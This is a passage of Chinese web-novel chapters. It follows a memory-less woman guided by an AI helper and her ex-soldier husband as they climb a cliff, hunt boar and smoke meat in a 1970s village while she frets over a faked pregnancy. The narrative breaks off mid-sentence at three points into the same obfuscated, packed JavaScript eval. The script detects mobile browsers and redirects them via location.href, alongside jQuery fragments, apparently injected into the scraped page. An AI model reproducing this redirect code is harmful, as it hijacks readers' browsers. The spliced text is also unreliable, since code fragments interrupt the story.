“陆沉舟同志,请你拿出科学严谨的态度,回答我刚刚的问题!”林晚霜才不解释,失忆又不是她说的。 陆沉舟高她快两个头,她从后面看不到他的脸,只发现耳朵已经红透:“我真不知道,我没那种习惯……” “那你是不是不行?早上也没反应吗?”她的目光已经不自觉的移到那处了。 他又快走几步,把她甩的远远的:“林晚霜,不要乱猜!这不是好女人该关心的问题。” “可我不是女人,我是你媳妇。”她玩心大起,锤了两下腰继续追他。 然而这话听到他耳中却没觉得是揶揄,他想了想,忍住内心的羞涩,停下来等着她:“你放心,我很正常。我只是觉得那样不好,就去锻炼了。” 他突然的正经倒让她瞬间尴尬了起来:“我放心什么啊,你说话奇奇怪怪的。” “就是我很正常,没有问题的意思。”发现她居然开始躲避自己的目光,陆沉舟突然产生了几分诡异的感觉,于是就把话说的更细了些。 一瞬间脸红的成了她,她低头假装突然对脚下的石头产生了兴趣,嘴上赶紧转移话题:“那我们到底睡没睡?” 这下子他也为难了。 他们身为这事件中的两个当事人,一个意识模糊没有经验,一个失去记忆。 他看向她肚子:“你做完不是说连着几天都恶心干呕吗?” 她很无辜:“我就那会呕了一下,至于之前的事,我骗人的。万一肚子里真有孩子,被你家赶出去了我咋办?” 好吧,有理有据。他无话可说。 “就呕了那么一次?”他向她确认。 她点头:“而且今天走了那么多路肚子也没不舒服,所以我这不赶紧找你确认下咱们睡没睡过嘛。” 陆沉舟想起她失忆前的德行,心里已经有了不好的预感。这会儿她却先一步说了出来。 “我咋觉得按你说的我以前那德行,可能真的没怀呢?这可怎么办?爸要知道了,会不会又要我离婚?”她看向他,抛出最后那句话,“我现在什么情况你最清楚,离了婚我就真没活路了。” 他明白她说的可能都是真的,只是现在这事儿太大。他不得不承认,自己能那么快对她改观也有她肚子里怀了自己孩子的一部分原因。 如果,这孩子压根不存在呢? 难道真把失忆了,已经无处可去的她扫地出门? 就在她提出这个问题之前,他还说服了自己接受她说谎骗人的坏习惯。把她真的考虑进了自己往后的人生中。 过了很久,他终于有了决定:“不是约了两天后去和人家换药吗?到时候咱们走早一点去东城给你找个大夫看看。” 接下来两人没再说话,陆沉舟像是才意识到她肚子里可能有孩子一样,步伐没再那么快。 不仅给她找了个合适的棍子杵着走,还在她好几次脚下打滑时及时伸手把她拉住。 “要不我还是送你回去?”他再一次险险拉住差点跌倒的她时,脸上全是懊悔,“都是我考虑不周,你累了一天,应该在家歇着。” 她知道,这大概是因为他长年累月在军营,脑子里压根就没想过,正常人不可能昼夜行军,还能生龙活虎。 她抬起头,脸色因为过度劳累显得惨白,舔了舔干裂的嘴唇,珍惜的抿了一口水喝下。 面对他的提议,她摇了摇头:“本来就欠了你家那么多,总不能在能出力的时候还往后躲吧。就算两天后医生查出来我没怀,你要和我离婚,现在也让我去吧。多做点事我心里头愧疚能少一点。” 陆沉舟看着她,忍不住说:“你现在真的完全不一样了。” “不是你说了我失忆了,”她勉强露出个笑,“既然和过去不一样了,那我也想做个好人。” 他心里突然有些发软,很想直接跟她讲,如果她一直这样,哪怕没怀孕,他也会试着说服家人不和她离婚。 然而他最终还是忍住了,他和自己说:再观察一下她,毕竟时间还短。 于是他松开了手:“今晚月亮不够亮,你看着点脚下,慢点走。” 林晚霜点了点头,拧好水壶盖子。握紧手中的棍子,咬牙继续跟上。 她一路走,一边开始查询这样的山里的猎物的分布和布置小陷阱的方法。 此时她已经有九成把握原主肚子里根本就没货,所以想要在陆家生活下去,她必须要展现出足够的价值,今晚对她来说就是一个关键。 根据地图导航显示,林晚霜发现陆沉舟选择的路是离山直线距离最近,道路最崎岖但也最隐蔽的路。 甚至,他和智能导航规划的路线一样,一点多余的路都没绕。 而现在,他们走到了山下,入眼的不是上山的路,而是一处悬崖。 “从这里上去可以节省至少两小时的路程,”他停下来看向她,“你真的可以吗?” 月亮此时正高悬于天上,无数星子也闪动着星光。 深秋的山林,偶有几声鸟虫鸣叫。 林晚霜一身狼狈,汗湿的头发贴在额上,她的脸因为过量的运动红烫的吓人。双手紧紧杵着棍子站在悬崖下,腿脚在不自觉的轻轻颤抖。 她舔了舔干裂缺水的嘴唇,抬头看这悬崖。目测至少有个三四十米高,悬崖上虽然有一些凸起和凹陷,看上去却并不那么安全。 从这里摔下去,不死也会瘫痪吧。 她听到了自己心脏疯狂在撞击胸膛,仿佛一张嘴就会跳出来。 她伸出手拢了拢自己遮住眼睛的发丝,抬起头看向他:“就这么点高?” 她这话让陆沉舟一怔,他刚刚明显看到了她的胆怯,害怕,可是她的语气,却是那么的张狂,自信。 这一瞬,他竟仿佛看到了很多年前那个面容稚嫩的自己。那时候指导员带他看真实的现场,面对尸山血海,他脸色惨白,死死咬住唇忍住呕吐的冲动。 那时的指导员就像他现在这样,观察着,打量着他。问他:加入我们,就是这样的生活,你确定你可以吗? 他当时双手死死抠住自己的腿肉,也像她这样,自以为别人看不出自己的惶恐,大声说:这算什么? 陆沉舟看着面前的女人,只感觉有种时空交错的不真实。 他仿佛看到自己和指导员重合:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17045383|194553||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 既然这样,那就让我看看你的实力吧。” 林晚霜听到这句话,毫不迟疑扔掉了支撑着自己走了大半路程的棍子。朝着最近的一块凹陷发起进攻。 她身手不算矫健,甚至有些笨拙,攀附着悬崖上凸起或凹陷的土坑,石坑往上行进。 这些凹凸不平,是悬崖自然形成而非人工凿就。所以深浅不一,承重也很有限。 她压根不顾脑海里一边帮她计算最佳路线一边疯狂警报的小爱,就像曾经无数次头破血流也要为自己找出活路那样,此时她的目标只有悬崖顶。 一口气憋着,一口气撑着,一口气绷着。 不能松懈一分一毫,她不敢回头看,嘴里已经尝到了铁锈味,她不敢抬头看,眼睛已经被汗水弄得模糊不清,她只能看着下一个落脚点,再下一个落脚点。 突然,她左脚一滑——那看似可靠的岩棱竟是一层碎屑的虚壳。这个自然形成的石坑终究太浅,没能吞下整个脚掌,反而让身体在失衡中猛烈倾斜。右脚随即被重力扯离支点,悬空乱探。 她双手本能地抠紧岩缝,指甲在石灰岩上刮出白痕。上半身还贴着崖壁,下半身却已荡开,整个人像一张被风掀起的纸,只有指尖还钉在生存与深渊之间。她能听见碎石滚落的声音,一颗、两颗……接着是细密的土雨,沿着岩壁簌簌而下,消失在脚下空洞的风里。 膝盖擦过粗糙的岩面,火辣辣的疼。右脚终于踢到一处凸起,可那触感圆滑,根本吃不住力。肺里的空气被恐惧挤成短促的喘息。有一瞬间,时间忽然变慢——她清楚地看到左手握着的石棱正在松动,细小的裂缝如神经般蔓延。 “不!”她大喊出声,闭上眼准备迎接自己的坠落。 突然她感觉到一只温热的大手将她臀部牢牢托起,耳畔传来男人低沉的声音:“专心点,我在身后。” 她睁开眼,看到了身后的陆沉舟。 就在她专心脚下忽略一切时候,他背着背篓,一路跟在离自己不远的地方,就像刚刚在山路上那样,他随时关注着她,在危机关头总会将她护下。 她此时已经安稳地停留在悬崖上,不会再下落。心脏在耳膜里撞得咚咚响,冷汗这才后知后觉地沁透后背。 “我还能继续,不用回去。”她听到自己说。 他将她托起半人高,让她看到面前一处凹陷极深的石坑:“好,我相信你。” 林晚霜立刻将手伸过去抠住那处凹陷,脑海里是小爱激动地报幕,它重新为她规划了新的路线并对她刚刚劫后余生发来庆祝。 她笑了,深吸一口气,继续往前爬去。 而她身后,陆沉舟的目光始终关注着她,时刻准备出手。 临近晚上十一点,两人总算是上了山。 林晚霜杵着一根新的棍子,气喘吁吁地跟着陆沉舟走:“你都不累的吗?” 且不说他今天背着东西走了多少路,就只说刚刚在悬崖上救了她好几次,每次都惊险无比,她这个被救的人已经要撑不住了,每次都能及时救下她的人,只能比他更累。 “习惯了,”他说,“再坚持一下,到半山腰就能歇了。” 她点点头,咬牙继续走:“今晚是我拖累你的速度了。” 他微一愣怔,没想到她居然如此敏锐,然而回想这一路,虽然的确走的慢了很多,他却不觉得厌烦。 “你不是拖累,”他发自内心的说,“甚至你比我见过的很多人都强。” 她笑了:“我会把路上耽误的时间补回来的。” 这一路她可没停止思考,几种最适合这里的小型陷阱制作方法,此刻正静静躺在小爱的对话框中。 16. 第 16 章 到了半山腰,陆沉舟选定了一处树木稀少的地方落脚。 先是将周围的草都打了一遍,又去砍了些树枝铺了个简易的草床,将陆星野收拾的破被子往草床上一放。林晚霜的落脚地就有了。 她坐在草床上看着陆沉舟生起火堆,又去找了点草撕烂围着草床撒了一圈。 “这是鹅不食草,”陆沉舟说,“有驱蛇的效果。” 林晚霜听到“蛇”浑身颤抖起来,那模样好像比爬悬崖还让她害怕:“这……这有蛇?” 话说完她就知道自己犯了傻,山里自然是有蛇的。特别是现在生态环境还没遭到破坏,生物链完整的很。 陆沉舟手上动作一顿:“你怕蛇?” 他可是记得,他退伍回来没两天就看到她和陆星野为了抢一条死蛇,撒泼打滚,哭天喊地。 她抓着那死蛇恨不得活吃了吗?怎么还会怕蛇? 继而他又想到她现在失忆了,习惯都变了。喜好发生改变也很正常。 “软绵绵,没骨头的东西,”林晚霜脸色煞白,牙齿咯吱作响,“提起来我都怕。这个天气,它们不该要冬眠了吗?怎么还会有?” “有的毒蛇……” “别说那个字!”她惊恐地打断他的话,裹着破被子站起来,坐都不敢坐了。生怕屁股底下钻出来条蛇来。 陆沉舟有些遗憾:“我还说等会儿去抓一条肥的,给你烤了吃。” 林晚霜抖的更厉害:“我不饿,我就算是饿,我也不吃!” 确认她的恐惧不是装的,陆沉舟不再吓她:“放心吧,这个天气,蛇基本上都不会出来了。弄点驱蛇草是以防万一。你先在这里休息,我去抓点野物回来。” 林晚霜还是怕,但她更明白自己是来帮忙,而不是拖后腿的。 于是她点头:“你去吧,我等你。” 然而等陆沉舟一走,她歇了不到半小时就起来按照小爱提供的方法开始制作陷阱。 根据提示找到野兔行动的路径,她用藤蔓和破布条制作了简易的绳套。 野鸡没有固定行动路径,她也拿不出食物来做诱饵。干脆就在可能出现的地方挖了些坑,用草遮挡后,洒了点浮土上去做掩饰。 等这些忙完,她看看时间,又去添了火,再把周围的树枝捡回来堆了一大堆。 陆沉舟左右肩上各扛着一头不到五十斤重的野猪崽子回来,却发现草床上没有人。 火燃的很旺,旁边还多了半人高的树枝堆。 他把野猪放下,正准备去找林晚霜,就见她灰头土脸地拖着一堆树枝艰难地从另一边树林走出来。 “没多睡会儿?”他上前接过她手中的树枝,“等我回来再忙也不迟。” “歇了会儿,”她伸手擦汗,“不是说割委会这几天就要过来宣布下放地点吗?咱们现在少歇会儿,以后就能活舒服点。” 陆沉舟深深地看了她一眼,他无法形容现在的感受。就好像被迫背了块石头,结果石头却变成了黄金。 她此时已经看到了那两头小野猪,这年头的野猪可不是保护动物,相反,因为太泛滥,破坏农田庄稼,咬死牲畜,撞伤人类,所以很多地方还会定期请人捕杀。 她惊讶地转身打量他,见他只是衣服上沾了些血:“你没受伤吧?” “没有,今天运气好,只遇到五头,”陆沉舟说的轻描淡写,“回来拿个绳子,等下全拖过来。” 五头?! 一猪二熊三老虎,这句话她没记错吧? 不是说在野外,野猪的危险性比熊和老虎还高吗? 弄死五头,只沾了点血,还不是自己的血? 林晚霜差点咬了舌头:“五头猪崽子?” 陆沉舟看了她一眼:“两头公的,一头母的,两个崽子。” “你还是人吗?”她脱口而出, 公野猪可是有獠牙的,光是对付一头只怕都不容易,他一口气灭了两头公猪?哦,还有一只母猪和两个猪崽? 这战绩放在哪里都很炸裂吧? “身手还是差了点,”他还有些感叹,“用了弓形陷阱,又不是自己上去挨个搏斗的。只可惜这些日子我没加强锻炼,战斗时间太长,居然还沾上了猪血。” 听听,这是人话吗? 瞅瞅时间,现在才凌晨三点多。 而他是差不多12点走的,也就是说哪怕从这里一出去他就遇到了野猪,弄死它们也最多只用了三个小时。 然而他对此的评价是——战斗时间太长。 弄死五头,自己皮都没擦破点儿,他的评价是——身手差了,还沾上了猪血。 这特么一整个行走的大凶器! 也不知道野猪听了晚上会不会来入梦跟他拼个魂飞魄散? 算了!林晚霜苦中作乐的想,这说明他身手好,脑子好,有这样的人做老板,公司能不起飞吗? 一人得道鸡犬升天,她这回可算是抱住大粗腿了。 于是她就开始盘算起来:“有了这五头野猪咱们换药的肉差不多够了,多出来的咱们还能再换点急缺的东西。” “今晚就先这五头,等收拾出来我明天再去弄点别的。”陆沉舟蹲下身开始剥皮。 血是早就放干了的,其实那也是好东西,只是他们没办法留。 他说的话林晚霜非常赞成,他有这个本事和能力,不抓紧时间弄点肉存着难道要浪费吗? 不过—— “放着这么多野物,你之前就没来抓?” “抓过,拿去换东西了,”陆沉舟用匕首利落的将皮肉分离,“那时候往家里带?等你举报我?” 哦,林晚霜明白了,所以原主活该没得肉吃,只能去和陆星野抢死蛇。 她一边动手开始搭熏肉架,一边看他动作利落的剥猪皮。 他做的很熟练,像是做过很多次。 这让她又想起了他说的保密部队来。 不过眼看他要图方便把猪一分为二,她立刻阻止:“剥完整点,这皮我要硝出来以后做东西。” “你还会硝皮子?”他这下真诧异了,这种知识,是一个普通人,甚至是失忆后的普通人能掌握的吗? “对,我觉得我好像应该会,”林晚霜看着小爱刚刚查出来的硝皮方法说,“你说有没有可能,我是一个来自未来的灵魂,拥有很多先进的知识?” 陆沉舟看她说的认真,不知怎么着,突然心里头那点子疑惑就没了。 他甚至很快找到了科学又合理的解释:“我认为你这种情况,更像是脑域开发后,让思维变得更敏捷,记忆力更强。突然想起来的知识大概率是你偶然听到或者见到却忘了的,现在因为脑域开发所以全部记起来了。” “你……”她神色复杂地看着他,“科学学的真好啊。” “以后有机会我会想办法让你也多看多学,”他很认真的告诫她,“懂得多了,就不会凡是往封建迷信上去想了。” 林晚霜突然升起个坏心思:“那如果我告诉你,未来五十年国家发展的情况,然后你发现和我说的一模一样呢?” 她已经决定要告诉他,割委活动再有几年就会结束,高考也会恢复,计划经济时代会被改革开放取代,以后的国家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17049825|194553||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会越来越好,逐渐成为国际霸主。 她计划用这些他根本想不到的事来好好炸他一跳。 至于自己身份会不会暴露?她早就说过自己是借尸还魂了。 然而她还没来得及开口说这些,就听陆沉舟开口。 “你又开始往玄学上扯了,且不说你的话会不会实现,就算实现了也不稀奇。”他手上动作不停,“在我国古代就有钦天监检测天象,辅助农事。古人见识不足,以为是玄学和神授,但是现在根据科学研究表明,这是因为地球自转和公转导致的月球潮汐。” “你看,如果你去把月球潮汐的规律告诉古人,他们会以为你是神使,但其实这是科学。” “推背图听过吗?它预知了朝代更替,被人当做是神迹。但其实这就是事物发展的一般规律。就像现在,很多人以为割委活动会永无休止。但了解科学规律就该知道,它们没几年了。” 林晚霜听的目瞪口呆:“你说……割委活动没几年了?” “很惊讶?”他看向她,“多读点书,多学习,多思考。你就会知道,割委这种只能是一段时期的特殊产物,不仅如此,高考也会恢复,你多准备准备,未来是属于科学的时代。我们都国家不会一直这样,它在二三十年内必将迎来巨大的国际社会地位提升。很可能到时候会开放很多现在不让做的事。” 他认真的对着其实完全知道社会进程的林晚霜说:“多读书,少想封建迷信。未来将会有大把的机会在等待我们。” 不是,他们两个到底谁是穿越者,谁是来自未来的人啊? “你不信?”陆沉舟好笑,“我爸他们也不信,还让我别说了。” “我信啊!我信啊!”她立刻点头,没人比她更信了好嘛?因为她来自2025年,他说的未来就是她的来时路。 “那就准备好吧,”陆沉舟利落的剥好一只野猪,“说不定站在时代浪潮上,连猪都能飞起来。” 完了,这特么更割裂了。 她最后只能再次感叹:“你的科学学的真好呀。” 好到她都开始怀疑,她脑子里那三十多年的记忆真的是摔了脑子,脑域开发后生成的幻觉了。 她忍不住问小智:我真的是从2025年穿过来的吗? 【小智:宿主,你在想什么?你丈夫用科学逻辑闭环成功的攻略了自己,但你不能受他影响。你如果不是来自2025年,怎么可能有我?】 林晚霜突然明白穿越大神为啥给她配的金手指是小智而不是空间,交易平台之类的了。 因为如果不是小智,陆沉舟完全有办法把她的金手指全部合理化。甚至让她也被影响,怀疑金手指也是脑域开发后的产物。 他真是太恐怖了!幸好有小智固她道心! 陆沉舟听到她的感叹,并没发现不对,还点了点头继续劝她读书上进:“你看,所谓的预言和玄学,当你读了足够多的书,运用科学的逻辑,就会发现一切都是如此简单。” 看着如此自信的他,她还能说什么? 她几乎可以预料到,无论以后她拿出多少惊世骇俗的知识,他都能用这套逻辑把自己盘的明明白白,甚至还会告诉她,脑域开大后你就应该如此优秀,这是事物运转发基本逻辑。 所以,谁特么才是穿越者?谁特么才是来自未来的人啊? “当然这也不怪你,毕竟你能接触到的书和新闻都太少了,”陆沉舟突然伸手摸了摸她的头,“你已经很棒了,真的!” “那个,你手上还有血,别摸我头发,”林晚霜挣扎着躲开,“快点把皮剥出来,然后去拉猪。” 17. 第 17 章 林晚霜用匕首仔细地切割着猪肉,然后一条条搭到熏肉架上。 陆沉舟走之前砍了很多新鲜的树枝,此时火堆里浓烟滚滚。 没有盐,没有糖。想要延长肉的保质期只有两种办法,一种是烟熏,一种是烤制。 烟熏可以一次做很多,只需要注意烟的方向和时间。 现在是凌晨,林晚霜选择小智提供的一种快熏法,只需要不到三小时就能获得一批熏肉。 她细心的把肉条都挂好,又调整了第一批肉的位置。最后才开始清理野猪的内脏。 和家猪不同,野猪由于生活在无污染的野外,它的身体比家猪更强悍,内脏自然也有很多功效。 在小智的提示下,她知道这些都是好东西。比如说它的肝,富含大量维生素a和b,特别适合陆父和陆星野补身体。 它的胃是更好的东西,特别是胃壁上凝结的猪砂。 虽然在21世纪被人认为无用,但是现在和牛黄,马宝一样被视为名贵的药材。拿去黑市价格不菲。 正在她认真处理这些的时候,陆沉舟拖着三只野猪回来了。 “时间不早了,我先送你下山。”陆沉舟放下野猪说。 她看过去,三头都很大,最大的一头目测得四五百斤。小的也有三百来斤。 个个皮糙肉厚,皮子上都有一层厚厚的铠甲——那是长年累月撞树树脂和沙土层层凝成的。 “这三头的皮子用不了,”她叹气,同时开始收拾要带回陆家的内脏,“等会儿天快亮,你就把火扑了。这两头的肉算是熏好了,挂着阴干就行。” 她指着两张猪崽子的皮:“这两个皮你今天抽空把油脂刮干净,我晚上带针线过来缝。晚上熏肉的时候,顺便用烟熏了硝好。” 陆沉舟是不懂怎么硝皮子的,此时听她说的井井有条,就点头应了。 林晚霜又带他去看自己做的陷阱,却发现有一个绳套里居然套着只兔子。 陆沉舟把兔子抓了用草捆好,放进背篓里:“也带回去吧。” 林晚霜拿出来:“你今天烤了吃,白天就不给你送干粮了。” 她开始仔细说她的想法:“白天做肉干目标太大,你睡个觉。先养足精神,晚上咱们再行动。我晚上多带点凉白开上来。” 陆沉舟应下,催着她回去:“你回去也好好睡一觉,白天割委会过来也不用起。星野会打好掩护。这些内脏回去交给星野,中午不要做,等天黑了再烧。” 林晚霜一边走一边应:“行,到时候也给你带点来吃。” 两人走到悬崖边,陆沉舟先背着背篓下去,然后又上来接她。一通折腾,天都发白了。 “肉熏差不多了,”林晚霜提醒他,“快回去把火扑了。烟太大,这里看的太清楚。” 陆沉舟毫不犹豫就往悬崖上去了,整个人普通壁虎般游走在悬崖峭壁上,看的林晚霜目瞪口呆。 “我还真是废啊,”她嘟囔着背起背篓,杵着棍子,艰难地迈动脚步,在小智的导航提示下,避开可能早起的人。朝着陆家去了。 回到陆家小院已经快到六点,没空去欣赏日出的美景。 她把背篓交给陆星野,交代了几句,根本没去看陆星野的表情。咬着牙打了一盆冷水就回了房。 她草草擦了个身,换了身衣服,水都没倒就一头栽到床上。很快睡着了。 这一觉睡到晚上七点,如果不是小智的提醒,林晚霜还醒不过来。 将近十三个小时的睡眠让这具年轻的身体重新焕发了活力。 林晚霜不得不惊叹于原主的身体素质真好。这要是她自己的,头天爬个山。不得乳酸堆积疼个一两周? 当然,也可能是这年代的人做惯了农活,出门也只能靠腿,所以个个都练出来了。 她先是倒了脏水,又去院子里打了井水洗漱。 然后才去堂屋饭桌上吃已经冷了的饭。 还是那种能吃但绝对不好吃的味道,野猪内脏比起家猪更多了一股膻味。 而冷,又加剧了这种腥膻。 但是一个五岁的孩子,他能把饭做熟就很了不起了。 林晚霜是饿疯了,所以哪怕内脏老的像是橡皮她也咯吱咯吱嚼了努力往下吞。 听到她的响动,陆星野出来了,他先去厨房拿了个铝饭盒,又用破布仔仔细细地包好了。 “你可真能睡,”他吐槽,“我以为你今晚都不会起来了。也不怕我哥饿出个好歹。” 她艰难地吞完最后一口饭,摸着还不太饱的肚子看向陆星野:“那我不起来你不会去给你哥送吗?” 陆星野脸色变了变,咬着牙挤出一句话:“我接受了任务,任务还没结束。” 她恍然想起昨晚陆沉舟之前和陆星野说的那几句话。 原来在这个小孩眼中,接受了的任务就必须做到,没有条件,没有理由。 “好吧,”她叹口气,“锅里还有吗?没吃饱。” “所有的饭都是正正好,”陆星野说,“先把你们都份盛出来的。我和爸一共才吃到一碗。” “不是两副内脏?”她怀疑地看着他,“你不会做坏了吧?” “怎么可能!”陆星野急了,“你以为那些一顿就敢吃完吗?我只敢用半个肝。这还是想着我们住不了几天了。不是半个肝怎么也得吃一周!” 半个肝? 她想了想自己碗里的分量,有些沉默:“你不会都给我和你哥了吧?” 陆星野扭过头去:“才没,我留了三片给我爸。你们在山上辛苦……你把那种恶心的眼神收回去!我不可怜!” 林晚霜目光移到饭盒上。不再去看他。 “我去和爸打了招呼,马上给你哥送饭去,”她起身,在路过陆星野的时候还是没忍住,“我们昨晚打了五头野猪,还有野兔。今天只会更多,你明天把肉都做了吧。吃下去对身体好,咱们不是得走了?” “那个,割委会没来,”陆星野避开她,声音不再那么凶,“应该就是明天过来了,你明天早点回来。” 林晚霜应承下来,起身去了陆父房间。 房间门紧闭着,打开的一瞬间,她被一股沉闷湿热的风迎面击中。 陆父猛咳起来。她赶紧关上门。 室内空气不流通,但是关门的瞬间,他的咳嗽减缓了很多。 陆父忍住咳意,艰难地转过头看她。 林晚霜发现,他的脸色青白了很多,嘴唇透着不正常的嫣红。 想起原主把人捆在床上不给人盖被子。林晚霜就想把她拖出来结结实实打一顿:你能干点人事吗? “沉舟媳妇,”陆父压着嗓子里的咳意同她说话,“你和沉舟去山上了?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17053273|194553||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她赶紧仔细把昨天的事讲了一遍。 “去给我换药,多谢你了,”陆父低声道谢,“你也是苦命的,来这个家也没享过几天福。沉舟星野他们把你婆婆的死说你头上,我也是默认的。就想压着你能安分点。” 她没说话,事实上她最开始知道实情后想找陆沉舟理论过,后来她慢慢琢磨明白了,就原主的德行,就活该。 且,她要是陆家人,还会做的更过分呢。 人家娶媳妇,陆家娶的是个啥?丧门星吧! “沉舟媳妇,是我家对不住你了,”陆父叹了口气:“我话放在这儿,你是我家的恩人,等孩子生下来,我们负责带,除了吃奶,别的都不会给你添麻烦。你想要什么补偿到时候也尽管提,我们拼了命也会给你。” 她看着因为提起孩子,脸色亮了很多的陆父,手下意识摸向小腹,感觉像吃了颗酸果子,嘴里涩的厉害。 她终究什么都不敢说。 这就是一笔烂账,原主把体弱多病的陆父捆了致使他受凉濒死。自己为了留条后路说怀孕了,让陆父打起了精气神。 如果她肚子里有货,那么无论如何,这都将是一个能讲完的故事。 然而但现在了,她越来越觉得不可能。 到时候要是真没怀孩子,陆父的精神支柱没了,这故事还能继续吗? 她此时面对陆父殷切的目光,只能低下头去:“知道了,爸,你歇着,我得赶紧去山上,沉舟那边需要人帮忙,我走了。” 她出门,背上陆星野收好的背篓,逃出陆家。 陆父的话语在耳边回想,他的眼神,他的脸色…… “我到底做了什么事啊,”她悲愤,“早知道会这样,就算直接离婚也……” 算了,再来一次遇到这样的情况她还是会选择先保护自己的权益,再说了,她当时如果没有撒那个慌,现在应该已经是陆沉舟的杀父仇人了。 现在只能把这事赶紧告诉他,看看该怎么办。 一路跟着脑海里的地图导航去了悬崖边,守在悬崖上的陆沉舟看到她立刻用一根藤曼吊着快速滑落下来。 两人上了悬崖往半山腰走。 “你的陷阱抓了3只兔子,4只野鸡,”他见面就说,“还有一个陷阱应该也进去猎物了,就是塌了,啥都没有。” 她来不及兴奋,先把陆父的情况和陆沉舟说了一遍:“我现在是真怕,爸现在好像全靠孙子的事撑着呢。” 陆沉舟也沉默了,于情,他应该是要恨要怪林晚霜的,可于理,失忆后的她其实真没做错什么。 可是失忆前做的错事,就真能因为她失忆了就一笔勾销吗? 如果这样,所有杀了人的都去失忆,是不是就能逃脱法律惩罚了? 他的脸色她看到了,他的纠结她也猜到了。 然而此时的她,没有任何发言权,只能等着他的宣判。 “我爸现在不能受刺激,”最终他说,“明天咱们去查,但是,就算结果是没怀孕,你也要装下去。” “啊!”她惊呼,“那如果没怀,后面怎么办?我总不能凭空变出个孩子来吧。” 他的眸色暗了下去:“我们积极给爸治病,如果还不行……那就变个孩子出来。” 她瞬间惊恐起来:“你想干什么?我告诉你,犯法的事我坚决不做。” 18. 第 18 章 林晚霜这样的反应让陆沉舟压抑的心情轻松了很多,语气也松快起来。 “现在这年头,很多人生了女儿不想养遗弃的。”他解释道,“如果真的没怀,咱们就提前问着快要生的人家,有这样的孩子就带回来。” 见他有了主意,林晚霜总算是踏实了些,这才想起自己的陷阱好像抓了东西:“那野鸡野兔你杀了吗?” “没杀,”陆沉舟跟上她的话题,“活的能养起来,明天晚上咱们带去你换药那里问问,看看能不能换多点。” “指定能,”林晚霜开心的很,“就说那兔子,可能生了,平时给把草养起来他们家就多个进项了。你是不知道,那家人真的不容易,儿子被药厂机器卷死了,媳妇没娘家,一个人扛着三口嚼用,还得还男人办白事拉下的饥荒。” 他瞥了她一眼:“你现在倒是心肠好。” 她摇摇头:“这也就是搭把手的事,她帮咱们,咱们给她活的东西,这也算她做好事有好报。” 两人上了山,又走了段路,林晚霜发现树上挂着两张野猪皮子,昨天她熏好的肉旁边又多了一堆烤好的肉。 此刻还有几十条肉干搭在火堆上烤着。 野兔和野鸡都被捆的紧紧地放在背篓里。 她把铝饭盒递给陆沉舟,然后仔细整理熏好阴干的肉,把它们收起来放进背篓里。 等天完全黑透,陆沉舟去继续找猎物,她就做起熏肉来。 这一夜就在两人的忙碌中度过,凌晨四点的时候,半山腰又多出几只狍子和獾,这一夜没遇到野猪,但这些小动物的肉量算下来也有个两三百斤了。 陷阱那边又抓到了些野鸡野兔。 和昨晚的加在一起,野鸡野兔的量达到了17只。 临走的时候,陆沉舟又端了十几颗鸟蛋和两条肥大的毒蛇。 毒蛇是弄死了的,林晚霜吓得瑟瑟发抖,就连陆沉舟的手她都不愿碰一下,生怕沾染了蛇味儿。 于是这下山就不能走悬崖了。 陆沉舟把还没熏好烤好的肉干用那三张不能硝的野猪皮连着带不走的肉和动物裹了,埋进了土里。 “只能这样了,今晚换了药早点过来继续处理,”他把火堆熄灭,草草掩埋了下痕迹,往山下走,“幸好没什么人进山。” “山里有那么多野物,怎么就没人呢?”林晚霜拖着一串野鸡野兔走在他旁边。 “不是所有人都有猎户的本事,”他叹气,“而且现在大家都吃不饱,哪里有体力去做这种消耗?” 知道有野物,看到有野物和能抓到野物,这是其中的区别可太大了。 就拿野鸡野兔来说,别看林晚霜设了几个陷阱就能抓一大堆。如果她不会做陷阱呢? 只怕追着跑一天,也抓不到根毛。 而她会做陷阱靠的是知识,这只是却不是一般人能具备的。甚至就连她自己,如果没有小智,这知识她也不具备。 所以但凡有一点生机,大家都愿意去做工,种地。至少一分耕耘一分收获。 想清楚这些,她倒是明白了为什么山里没人。 两人这次是从正经的山路下去的,山路蜿蜒,几乎没有人迹。与其说是山路,还不如说是树林和植被。 也亏的这是深秋,植物没那么茂盛,否则光是找路就得狠花一番功夫。 等到了陆家院子,林晚霜已经觉得身体不听使唤了。 她精疲力尽地扔下手中的藤蔓,和陆沉舟说了一声,就去井边打水。 陆星野听到院子里有响动,已经跑了出来,然后被野鸡野兔晃花了眼。 “这都咱们的?”野鸡叫的厉害,再这样叫下去,很快陆家就要被人围起来了。 “快来帮我捆鸡嘴。”陆沉舟招呼他,“挑两只大的杀了,晚上烧了吃。” 陆星野立刻就上去把野鸡嘴上的草绳重新缠捆好。 “那鸡毛给我留着,”林晚霜招呼了声,“可以絮被子里保暖。” 